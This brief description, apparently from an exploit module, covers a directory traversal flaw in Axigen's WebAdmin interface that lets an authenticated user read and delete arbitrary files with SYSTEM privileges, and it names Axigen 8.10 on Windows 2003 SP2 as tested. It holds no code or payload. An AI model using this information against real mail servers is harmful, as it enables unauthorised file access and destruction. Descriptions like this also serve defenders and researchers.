This module exploits a directory traversal vulnerability in the WebAdmin  
interface of Axigen, which allows an authenticated user to read and delete  
arbitrary files with SYSTEM privileges. The vulnerability is known to work on  
Windows platforms. This module has been tested successfully on Axigen 8.10 over  
Windows 2003 SP2.
